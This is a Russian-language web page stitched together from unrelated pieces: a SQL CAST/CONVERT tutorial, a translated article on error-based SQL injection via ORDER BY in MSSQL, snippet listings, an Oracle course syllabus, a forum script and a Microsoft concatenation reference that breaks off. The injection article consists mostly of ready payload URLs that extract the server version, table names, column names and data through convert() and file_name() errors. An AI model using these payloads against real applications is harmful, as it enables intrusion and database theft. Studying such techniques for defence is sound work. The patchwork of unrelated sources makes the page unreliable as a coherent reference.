Cast sql примеры: Функции CAST и CONVERT (Transact-SQL) — SQL Server

Содержание

cast, convert; и функции агрегирования. Приведите примеры.

Для явного преобразования данных из одного типа в другой в SQL используются функции CAST или CONVERT. Синтаксис этих функций:

CAST (Выражение AS Тип_данных[(Длина)])

CONVERT (Тип_данных[(Длина)], Выражение [, Стиль]), где

Выражение — любое SQL-выражение либо название столбца;

Тип_данных — тип данных, в формате которого представляется данное выражение. Может использоваться числовой, символьный тип или тип дата-время;

Длина — длина поля вывода для символьных типов данных;

Стиль — формат представления данных при конвертировании данных типа дата-время, или числовых типов в символьные типы.

Функции CAST и CONVERT используются при конвертировании символьного типа в числовой тип или тип дата-время и наоборот из числового типа или типа дата-время в символьный тип.

• Любое числовое выражение может быть явно преобразовано в любой другой числовой тип;

• В результате преобразования символьного выражения в числовой тип отсекаются начальные и конечные пробелы, а остальные символы преобразуются в числовое значение по правилам языка SQL;

• Если явно заданная длина символьного типа недостаточна и преобразованное значение не размещается в нем, то результативное значение усекается справа;

• Возможно явное преобразование символьного типа в символьный, но с другой длиной. Если длина результата больше длины аргумента, то значение дополняется пробелами; если меньше, то усекается;

• NULL-значение преобразуется в NULL-значение соответствующего типа.

Пример

SELECT CAST (STUDENT_ID AS CHAR(10))

FROM STUDENT;

Агрегирующие функции позволяют получать из таблицы сводную (агрегированную) информацию, выполняя операции над группой строк таблицы.

Для задания в SELECT-запросе агрегирующих операций используются следующие ключевые слова:

• COUNT определяет количество строк или значений столбца, выбранных посредством запроса и не являющихся NULL-значениями;

• SUM вычисляет арифметическую сумму всех выбранных значений данного столбца;

• AVG вычисляет среднее значение для всех выбранных значений данного столбца;

• МАХ вычисляет наибольшее из всех выбранных значений данного столбца;

• MIN вычисляет наименьшее из всех выбранных значений данного столбца.

Для функций SUM и AVG рассматриваемый столбец обязательно должен содержать числовые значения.

В функциях под столбцом понимают, столбец виртуальной таблицы, в которой могут содержаться данные не только из столбца базовой таблицы, но и данные, полученные путем преобразования. При этом выражение, определяющее столбец такой таблицы, может быть сколь угодно сложным, но не должно содержать агрегирующие функций (вложенность агрегирующих функций не допускается). Однако из агрегирующих функций можно составлять любые выражения.

Аргументу всех функций, кроме COUNT(*), может предшествовать ключевое слово DISTINCT (различный), указывающее, что избыточные дублирующие значения должны быть исключены перед тем, как будет применяться функция. Специальная же функция COUNT(*) служит для подсчета всех без исключения строк в таблице (включая дубликаты).

Если в запросе, использующем агрегирующие функции, не используется фраза GROUP BY, то в перечень элементов оператора SELECT можно включать лишь агрегирующие функции или выражения, содержащие такие функции. Другими словами, нельзя иметь в списке столбцы, не являющихся аргументами агрегирующих функций.

Например, из таблицы книги, необходимо вывести максимальную сумму, которую можно получить при продаже всех одинаковых книг, среднюю цену продаваемых книг, количество авторов книг продаваемых в магазине

SELECT MAX(Кол_Кн*Цена), AVG(Цена), COUNT(DISTINCT Автор)

FROM КНИГИ;

SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера

Автор: Manish Kishan Tanwar

Введение

Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.

Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.

Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».

С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной.

Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.

Схема эксплуатации

Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.

Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».

Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.

Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.

Перечень функций, при помощи которых доступна реализация похожих сценариев:

  • convert ()

  • file_name ()

  • db_name()

  • col_name()

  • filegroup_name()

  • object_name()

  • schema_name()

  • type_name()

  • cast()

Пример

Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:

http://vulnerable_webapp/vulnerable. asp?data=yes&order=column_name

Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:

Select table_name,column_name from information_schema.columns order by column_name

Примеры инъекций с функцией convert()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции convert 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.

columns))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema. columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Рисунок 3: Пример SQL-инъекции для извлечения имени колонки с использованием функции convert

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert

Примеры инъекций с функцией file_name()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable. asp?data=yes&order=file_name(@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(@@version)

Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции file_name

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(select top(1) table_name from information_schema.columns)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)

Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable. asp?data=yes&order= file_name((select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name

Благодарности

Выражаю особую благодарность IndiShell Crew и Myhackerhouse.

Использование CAST() с типами дата/время. Firebird РУКОВОДСТВО РАЗРАБОТЧИКА БАЗ ДАННЫХ

Читайте также

Дата и время

Дата и время Стандартный системный компонент, позволяющий управлять встроенными часами Windows, которые вы можете наблюдать на панели уведомлений. Кроме того, можно настроить отображение дополнительных часов, которые могут показывать время другого часового пояса. Здесь

Дата и время

Дата и время Часовой поясВ апплете Панели управления Дата и время вы видите, что у вас часовой пояс Москвы, Санкт-Петербурга и Волгограда (или что-то в этом роде). Хотите, чтобы Windows знала о существовании вашей деревни Гадюкино? В разделе реестра HKLMSOFTWAREMicrosoftWindows NTCurrentVersionTime

Дата и время

Дата и время Если жесткий диск был отформатирован, то следует установить текущее число и время. Есть два способа открыть окно Свойства: Дата и время (рис. 3.2):• в окне Панель управления дважды щелкнуть на значке Дата и время;• на Панели задач дважды щелкнуть на

Глава 7. Дата и время

Глава 7. Дата и время Знает ли кто-нибудь, что такое время на самом деле? Чикаго, Чикаго IV Один из самых сложных и противоречивых аспектов человеческой жизни — измерение времени. Чтобы приблизиться к истинному пониманию предмета, необходимо хорошо знать физику,

Дата и время

Дата и время Программа Excel содержит функции для операций с датами и временем. Мы рассмотрим несколько таких функций на примерах.Функция ГОД возвращает значение года из даты. К примеру, в какой-либо ячейке вашей таблицы указана дата (текущая или нет, неважно). При

Явное преобразование типов: CAST()

Явное преобразование типов: CAST() В тех случаях, когда Firebird не может выполнить неявное преобразование типов, вы должны выполнить явное преобразование типов посредством функции CAST(). Используйте CAST() для преобразования одного типа данных в другой в операторе SELECT обычно в

Преобразование между типами дата/время

Преобразование между типами дата/время Обычно преобразование из одного типа дата/время в другой возможно, если исходный тип дата/время содержит подходящий вид данных для помещения в выходной тип дата/время. Например, TIMESTAMP содержит данные, которые можно преобразовать в

Преобразования между типами дата/время и другими типами данных

Преобразования между типами дата/время и другими типами данных Любой символьный тип или выражение, чье содержание может быть выражено в правильном литерале даты, может быть преобразовано в соответствующий тип дата/время.Типы данных времени и даты не могут быть

Класс CTime – дата и время

Класс CTime – дата и время Для работы с календарными датами и временем в состав библиотеки классов MFC включен класс CTime. Класс основан на элементе типа time_t, в котором будет храниться дата и время. Элемент типа time_t объявлен как private, поэтому вы не можете обращаться

Дата и время

Дата и время Чтобы открыть окно редактирования даты и времени, нужно дважды щелкнуть кнопкой мыши на значке Дата и время окна Панель управления. В результате на экране появится окно Свойства: Дата и время, в котором на вкладке Часовой пояс отображается соответствующий

Метод Cast

Метод Cast Описание методовМетоды приведены для последовательности sequence of T. function Cast<Res>(): sequence of Res; Преобразовывает элементы объекта System.Collections.IEnumerable в заданный

2.

5.8. Время и дата

2.5.8. Время и дата После настроек брандмауэра можно установить дату и время, а также выбрать часовой пояс (рис. 2.17). После установки Windows вы сможете настроить синхронизацию времени с удаленным компьютером (обычно с сервером времени

Курс Профессиональное использование SQL и PL/SQL в Oracle; Разработка приложений для Web сервера средствами PL/SQL

 Модуль 1. Oracle 10,11 — интегрированная база данных. 

  • Логическая и физическая компоновка базы данных. 
  • Процессы управления. 
  • Архитектура табличных пространств. 
  • Оптимальное использование памяти сервером. 
  • Понятие параллельного сервера. 
  • TNS адресаты. 
  • Настройка процессов прослушивания. NLS_LANG и настройка многоязыковой поддержки — особенности. 
  • Новые возможности Oracle 11g (обзор).

 Модуль 2. Новые типы данных 10g, 11g. 

  • Функции для работы с TimeStamp Рациональное использование табличных пространств для размещения больших объектов. 
  • Использование объектных и агрегатных типов для хранения данных.

 Модуль 3. SELECT. 

  • Использование подзапросов во фразе From. 
  • Подзапросы. 
  • Коррелированные подзапросы. 
  • Древовидные структуры. 
  • Новые конструкции во фразе SELECT. (rollup, cube, case. 
  • Аналитические функции в запросах. Вложенные таблицы (CURSOR) в операторе SELECT.

 Модуль 4. Язык манипулирования данными DML. 

  • Выполнения сложных операторов DML с подзапросами. 
  • Оператор Merge.

 Модуль 5. Оптимизация SQL запросов: Настройка производительности приложения.

  • Разделяемый пул и глобальная рабочая область. 
  • Oracle оптимизатор. 
  • Команда Analyze. 
  • COST и RULE оптимизация. 
  • Организация и планирование сбора статистики по объектам схемы. 
  • Построение диаграмм распределения данных в таблицах. 
  • Указатели (HINTS) оптимизатору. 
  • Ранжирование методов доступа. 
  • Анализ запросов с целью повышения скорости их выполнения, задание режимов оптимизации. команда Explain Plan и алгоритмы ее использования. 
  • Правила оптимизации запросов и их оценка. 
  • Практические примеры оптимизации, Новые возможности Oracle 10g, 11g при описании Hints (подсказок). Oracle 10g — самонастраиваемая база данных. 
  • Обеспечение мониторинга изменений в таблицах. 
  • Автоматический сбор статистики по таблицам.

 Модуль 6. Язык DDL.

  • Создание и изменение таблиц (DDL).
  • Команда Cre ate Table. 
  • Определение параметров хранения таблиц на физическом уровне. 
  • Локальное управление табличными пространствами. 
  • Сегменты, экстенты, блоки. 
  • Параметры блоков — почему в 10g их стало значительно меньше.

 Модуль 7. Создание временных транзакционных и сессионных таблиц. 

  • Создание таблиц с разбивкой на партиции. 
  • Глобальные и локальные индексы. 
  • Индексные таблицы. 
  • Доступ к данным в индексных таблицах, проблемы обновления данных. 
  • Особенности размещения индексных таблиц в физических блоках дисковой памяти. 
  • Таблицы, организованные как внешние.

 Модуль 8. Декларативные ограничения целостности. 

  • Индексы и ограничения. 
  • ‘Откладываемые’ ограничения целостности и проблемы каскадного обновления первичных ключей.  
  • Команда SET CONSTRAINT. 
  • Изменение структуры таблицы, команда Alt er table и ограничения целостности. 
  • Создание неуникальных индексов для первичных и уникальных ключей. Мгновенное включение ограничений.

 Модуль 9. Транзакции.

  • Оптимистические и пессимистические запросы.
  •  Алгоритмы совместного доступа к базам данных. 
  • Конкуренция параллельность и согласованность. 
  • Транзакции и взаимовлияние. 
  • Потери изменений, черновое чтение, повторяемое и неповторяемое чтение. 
  • Уровни изоляции. 
  • Алгоритмы блокирования Oracle, уровни блокировок. 
  • Блокировки DML — табличные и строчные блокировки, тупики. 
  • Разрешения тупиков. Блокировки DDL-исключающие и разделяемые блокировки, многовариантность. 
  • Многовариантность и согласованность чтения на уровне транзакций. 
  • Ошибка — слишком старый моментальный снимок

 Модуль 10. Другие объекты. 

  • Представления. 
  • Ограничение представлений и правила их обновляемости, Instead off триггер. 
  • Индексы. 
  • Правила применения и рекомендации Oracle. 
  • Использование функций в индексах. Deterministic функции. 
  • Индексы и оптимизация. 
  • Необходимость использования индексов. 
  • Особенности хранения индексов на дисковом пространстве. 
  • Кластеры. Hash кластеры с сортировкой и кластеры одной таблицы. 
  • Необходимость использования.
  • Практический пример преобразования некластеризованных таблиц в кластеризованные. 
  • Кластерные индексы. 
  • Связи с базами данных. 
  • Использование ролей для разграничения доступа к данным — безопасность. 
  • Практический пример создания связей со схемами нескольких удаленных баз данных. 
  • Снимки и журналы снимков. 
  • Методы обновления.  
  • Материализованные представления данных. 
  • Принудительное обновление данных.

 Модуль 11. Новые типы данных PL/SQL. 

  • Агрегатные типы данных (массивы и таблицы PL/SQL). 
  • Оператор BULK COLECT и операции DML. 
  • Извлечение данных из базы данных в PL/SQL таблицы — оператор BULK FETCH. 
  • Преобразование типов данных. 
  • Ссылочные типы данных. 
  • Ассоциативные таблицы и правила доступа к их элементам.

 Модуль 12. Курсоры. 

  • Явные и неявные курсоры. 
  • Атрибуты и параметры курсоров. 
  • Использование курсоров внутри управляющих блоков. 
  • Оператор CURSOR и фраза INTO. 
  • Обновляемые курсоры и транзакции.

 Модуль 13. Процедуры функции и пакеты.

  • Ограничения для пользовательских SQL процедур.  
  • Зависимые процедуры и их сопровождение. 
  • Прагмы RESTRICT_REFERENCES, SERIALLY_REUSABLE. 
  • Зависимые пакеты. 
  • Использование хранимых функций в SQL запросах. 
  • Закрепление модулей в разделяемом пуле. 
  • Оптимизация. Автономные транзакции. 
  • Правила распространения автономных транзакций. 
  • Использование функций с автономными транзакциями в SQL запросах. 
  • Мутационные таблицы

 Модуль 14. Исключительные ситуации. 

  • Предопределенные и пользовательские исключительные ситуации. 
  • Явное возбуждение исключений. 
  • Процедура RAISE_APPLICATION_ERROR. 
  • Методика обработки ошибок в PL/SQL.

 Модуль 15. Триггеры таблиц — как разновидность хранимых процедур.

  • Атрибуты триггеров Oracle. 
  • Обработка исключительных ситуаций в триггерах.  
  • Триггеры базы данных и схем пользователя. 
  • Автономные транзакции в триггерах.

 Модуль 16. Статический и динамический SQL. 

  • Почему ‘УМЕР’ пакет DBMS_SQL. 
  • Четыре алгоритма выполнения динамического запроса. 
  • Динамическое выполнение DDL операторов. 
  • Связывание входных параметров и подготовка выходных переменных для DML операторов.

 Модуль 17. Объектная опция Oracle. 

  • Наследование и полиморфизм, абстрактные классы. 
  • Создание собственных классов. 
  • Использование классов в PL/SQL. 
  • Классы в таблицах базы данных. 
  • Объектные таблицы. Ссылки на объекты и таблицы с полями типа REF OBJECT.
  • Зависшие ссылки и их оптимизация. 
  • Вложенные таблицы и массивы. 
  • Оператор CAST и MULTISET. 
  • Представления с агрегированными типами данных.  
  • Наследование и полиморфизм в Oracle 9i. 
  • Абстрактные типы. Оператор TREAT и привидение типов.

Модуль 18. Обзор использования основных пакетов базы данных: DBMS_PIPE, DBMS_JOB, DBMS_ALERT, UTL_FILE, UTL_TCP, UTL_SMTP, UTL_HTTP.

Модуль 19. Пакет DBMS_DBWS для доступа к внешним сервисам по протоколу SOAP.

Модуль 20. Порядок компиляции PL/SQL в C код, а затем сборка в SO или DLL библиотеку. Особенности Oracle 10g.

 Модуль 21. Вызов внешних процедур.

  • Правила написания и компиляции динамической библиотеки на С. 
  • Конфигурация прослушивающего процесса. 
  • Пользовательские библиотеки и процедуры для вызова внешних подпрограмм. 
  • Правила отображения параметров C на PL/SQL. 
  • Пример написания процедуры для формирования файла журнала по производству транзакций.  
  • Использование COM картриджа для взаимодействия c MS WORD и EXCEL. 
  • Инсталляция картриджа и вспомогательных пакетов. 
  • Использование процедуры Invoke для создания методов доступа к серверам автоматизации. 
  • Пример написания PL/SQL процедуры для формирования документов WORD и рабочих таблиц EXCEL — генерация отчетов из схемы базы данных.

 Модуль 22. Сервер Apache — HTTP слушатель для базы данных Oracle. 

  • Общая архитектура. DAD — компонент для доступа к данным Oracle — конфигурация и настройка. 
  • Oracle Web Agent — жизненный цикл HTTP запроса. 
  • Обеспечение безопасности доступа к данным на уровне OWA. 
  • Построение HTML страниц с использованием HTP и HTF пакетов. 
  • Редактирование данных. Страницы PSP (Pl/SQL Server Pages). 
  • Загрузка и выгрузка файлов в/из базы данных 

Как преобразовать число в числовую, отформатированную в запятую строку?

I looked at several of the options. Here are my two favorites, because I needed to round the value.

,DataSizeKB = replace(convert(varchar,Cast(Round(SUM(BigNbr / 0.128),0)as money),1), '.00','')
,DataSizeKB2   = format(Round(SUM(BigNbr / 0.128),0),'##,##0')
-----------------
--- below if the full script where I left DataSizeKB in both methods -----------
--- enjoy --------- 
--- Hank Freeman : [email protected] 
-----------------------------------
--- Scritp to get rowcounts and Memory size of index and Primary Keys
      SELECT
      FileGroupName = DS.name
      ,FileGroupType =
         CASE DS.[type]
           WHEN 'FG' THEN 'Filegroup'
           WHEN 'FD' THEN 'Filestream'
           WHEN 'FX' THEN 'Memory-optimized'
           WHEN 'PS' THEN 'Partition Scheme'
           ELSE 'Unknown'
         END
      ,SchemaName = SCH.name
      ,TableName = OBJ.name
      ,IndexType =
         CASE IDX.[type]
           WHEN 0 THEN 'Heap'
           WHEN 1 THEN 'Clustered'
           WHEN 2 THEN 'Nonclustered'
           WHEN 3 THEN 'XML'
           WHEN 4 THEN 'Spatial'
           WHEN 5 THEN 'Clustered columnstore'
           WHEN 6 THEN 'Nonclustered columnstore'
           WHEN 7 THEN 'Nonclustered hash'
         END
      ,IndexName = IDX. name
      ,RowCounts = replace(convert(varchar,Cast(p.rows as money),1), '.00','')  --- MUST show for all types when no Primary key
      --,( Case WHEN IDX.[type] IN (2,6,7) then 0  else  p.rows  end )as Rowcounts_T
      ,AllocationDesc = AU.type_desc
/*
      ,RowCounts = p.rows  --- MUST show for all types when no Primary key
      ,TotalSizeKB2  = Cast(Round(SUM(AU.total_pages / 0.128),0)as int) -- 128 pages per megabyte
      ,UsedSizeKB    = Cast(Round(SUM(AU.used_pages / 0.128),0)as int) 
      ,DataSizeKB    = Cast(Round(SUM(AU.data_pages / 0.128),0)as int)
       --replace(convert(varchar,cast(1234567 as money),1), '.00','')
*/
      ,TotalSizeKB   = replace(convert(varchar,Cast(Round(SUM(AU.total_pages / 0.128),0)as money),1), '.00','') -- 128 pages per megabyte
      ,UsedSizeKB    = replace(convert(varchar,Cast(Round(SUM(AU.used_pages / 0.128),0)as money),1), '.00','') 
      ,DataSizeKB    = replace(convert(varchar,Cast(Round(SUM(AU.data_pages / 0.128),0)as money),1), '.00','')
      ,DataSizeKB2   = format(Round(SUM(AU. data_pages / 0.128),0),'##,##0')
      ,DataSizeKB3   = format(SUM(AU.data_pages / 0.128),'##,##0')
      --SELECT Format(1234567.8, '##,##0.00')
      ---
      ,is_default    = CONVERT(INT,DS.is_default)
      ,is_read_only = CONVERT(INT,DS.is_read_only)
     FROM
      sys.filegroups DS -- you could also use sys.data_spaces
       LEFT JOIN sys.allocation_units AU ON DS.data_space_id = AU.data_space_id
       LEFT JOIN sys.partitions PA
         ON (AU.[type] IN (1,3) AND
             AU.container_id = PA.hobt_id) OR
            (AU.[type] = 2 AND
             AU.container_id = PA.[partition_id])
       LEFT JOIN sys.objects OBJ ON PA.[object_id] = OBJ.[object_id]
       LEFT JOIN sys.schemas SCH ON OBJ.[schema_id] = SCH.[schema_id]
       LEFT JOIN sys.indexes IDX
         ON PA.[object_id] = IDX.[object_id] AND
            PA.index_id = IDX.index_id
       -----
       INNER JOIN 
         sys.partitions p ON obj.object_id = p.OBJECT_ID AND IDX.index_id = p.index_id
     WHERE
       OBJ. type_desc = 'USER_TABLE' -- only include user tables
       OR
       DS.[type] = 'FD' -- or the filestream filegroup
     GROUP BY
       DS.name ,SCH.name ,OBJ.name ,IDX.[type] ,IDX.name ,DS.[type]  ,DS.is_default   ,DS.is_read_only -- discard different allocation units
      ,p.rows  ,AU.type_desc  --- 
     ORDER BY
       DS.name ,SCH.name ,OBJ.name ,IDX.name
      ---
      ;

sql-docs.ru-ru/string-concatenation-transact-sql.md at live · MicrosoftDocs/sql-docs.ru-ru · GitHub

description title ms.custom ms.date ms.prod ms.prod_service ms.reviewer ms.technology ms.topic f1_keywords dev_langs helpviewer_keywords ms.assetid author ms.author monikerRange ms.openlocfilehash ms.sourcegitcommit ms.translationtype ms. contentlocale ms.lasthandoff ms.locfileid

+ (Объединение строк) (Transact-SQL)

+ (объединение строк) (Transact-SQL) | Документы Майкрософт

12/06/2016

sql

database-engine, sql-database, sql-data-warehouse, pdw

t-sql

reference

concatenation [SQL Server]

string concatenation operators

+ (string concatenation)

35cb3d7a-48f5-4b13-926c-a9d369e20ed7

cawrites

chadam

>=aps-pdw-2016||=azuresqldb-current||=azure-sqldw-latest||>=sql-server-2016||>=sql-server-linux-2017||=azuresqldb-mi-current

47a74bd7c9626dda0d10b27b0890420f6c9734fa

33f0f190f962059826e002be165a2bef4f9e350c

HT

ru-RU

01/30/2021

99199516

[!INCLUDE sql-asdb-asdbmi-asa-pdw]

Оператор в строковом выражении, объединяющий две или более символьных или двоичных строки, два или более столбцов или несколько строк и имен столбцов в одно выражение (строковый оператор). Например, SELECT 'book'+'case'; возвращает bookcase.

Синтаксические обозначения в Transact-SQL

Синтаксис

expression + expression  

[!INCLUDEsql-server-tsql-previous-offline-documentation]

Аргументы

expression
Любое действительное выражение любого типа данных в категории символьных и двоичных данных, за исключением типов данных image, ntext и text. Оба выражения должны иметь одинаковый тип данных, или одно из выражений должно допускать неявное преобразование к типу данных другого выражения.

При сцеплении двоичных строк с любыми символами между двоичными строками необходимо использовать явное преобразование в символьные данные. В следующем примере показано, когда CONVERT или CAST должны использоваться с двоичной конкатенацией и когда CONVERT или CAST не нужно использовать.

DECLARE @mybin1 VARBINARY(5), @mybin2 VARBINARY(5)  
SET @mybin1 = 0xFF  
SET @mybin2 = 0xA5  
-- No CONVERT or CAST function is required because this example   
-- concatenates two binary strings.  
SELECT @mybin1 + @mybin2  
-- A CONVERT or CAST function is required because this example  
-- concatenates two binary strings plus a space.  
SELECT CONVERT(VARCHAR(5), @mybin1) + ' '   
   + CONVERT(VARCHAR(5), @mybin2)  
-- Here is the same conversion using CAST.  
SELECT CAST(@mybin1 AS VARCHAR(5)) + ' '   
   + CAST(@mybin2 AS VARCHAR(5))  

Типы результата

Возвращает тип данных аргумента с самым высоким приоритетом. Дополнительные сведения см. в разделе Приоритет типов данных (Transact-SQL).

Комментарии

При работе с пустыми строками нулевой длины оператор + (объединение строк) ведет себя иначе, чем при работе со значениями NULL или с неизвестными значениями. Символьная строка символа нулевой длины может быть указана в виде двух одинарных кавычек без каких-либо символов между ними. Двоичная строка нулевой длины может быть указана как 0x без указания каких-либо байтовых значений в шестнадцатеричной константе. При сцеплении строки нулевой длины всегда сцепляются две указанные строки. При работе со строками со значением NULL результат объединения зависит от настроек сеанса. При присоединении нулевого значения к известному значению результатом будет неизвестное значение, объединение строк с нулевым значением также дает нулевое значение, как и в арифметических действиях с нулевыми значениями. Однако можно изменить данное поведение, поменяв значение CONCAT_NULL_YIELDS_NULL для текущего сеанса. Дополнительные сведения см. в разделе SET CONCAT_NULL_YIELDS_NULL (Transact-SQL).

Если результат объединения строк превышает предел в 8 000 байт, то он усекается. Однако усечения не произойдет, если хотя бы одна из сцепляемых строк принадлежит к типу больших значений.

Примеры

A. Использование объединения строк

В следующем примере создается единственный столбец с заголовком Name из нескольких символьных столбцов, где за фамилией лица следуют запятая, один пробел и имя того же лица. Результирующий набор сортируется в алфавитном порядке по возрастанию, сначала по фамилии, а затем по имени.

-- Uses AdventureWorks  
  
SELECT (LastName + ', ' + FirstName) AS Name  
FROM Person.Person  
ORDER BY LastName ASC, FirstName ASC;  

Б. Объединение числовых типов данных и дат

В приведенном ниже примере функция CONVERT используется для объединения типов данных numeric и date.

-- Uses AdventureWorks  
  
SELECT 'The order is due on ' + CONVERT(VARCHAR(12), DueDate, 101)  
FROM Sales.SalesOrderHeader  
WHERE SalesOrderID = 50001;  
GO  

[!INCLUDEssResult]

------------------------------------------------  
The order is due on 04/23/2007  
(1 row(s) affected)

В. Использование объединения нескольких строк

Следующий пример сцепляет несколько строк в одну длинную строку для отображения фамилии и первой буквы инициалов вице-президентов в [!INCLUDEssSampleDBCoFull]. После фамилии ставится запятая, а после первой буквы инициалов — точка.

-- Uses AdventureWorks  
  
SELECT (LastName + ',' + SPACE(1) + SUBSTRING(FirstName, 1, 1) + '.') AS Name, e.JobTitle  
FROM Person.Person AS p  
    JOIN HumanResources.Employee AS e  
    ON p.BusinessEntityID = e.BusinessEntityID  
WHERE e.JobTitle LIKE 'Vice%'  
ORDER BY LastName ASC;  
GO  

[!INCLUDEssResult]

Name               Title  
-------------      ---------------`  
Duffy, T.          Vice President of Engineering  
Hamilton, J.       Vice President of Production  
Welcker, B.        Vice President of Sales  

(3 row(s) affected)

Г. Использование больших строк при объединении

В приведенном ниже примере выполняется объединение нескольких строк в одну длинную строку, а затем предпринимается попытка вычислить длину итоговой строки. Итоговая длина результирующего набора равна 16 000, так как вычисление выражения начинается слева, то есть @x + @z + @y => (@x + @z) + @y. В этом случае результат (@x + @z) усекается до 8000 байт, а затем в результирующий набор добавляется значение @y, из-за чего длина итоговой строки становится равна 16 000. Так как @y — это строка типа с большим значением, усечения не происходит.

DECLARE @x VARCHAR(8000) = REPLICATE('x', 8000)
DECLARE @y VARCHAR(max) = REPLICATE('y', 8000)
DECLARE @z VARCHAR(8000) = REPLICATE('z',8000)
SET @y = @x + @z + @y
-- The result of following select is 16000
SELECT LEN(@y) AS y
GO

[!INCLUDEssResult]

y        
-------  
16000  
 
(1 row(s) affected)

Примеры: [!INCLUDEssSDWfull] и [!INCLUDEssPDW]

Д. Использование объединения нескольких строк

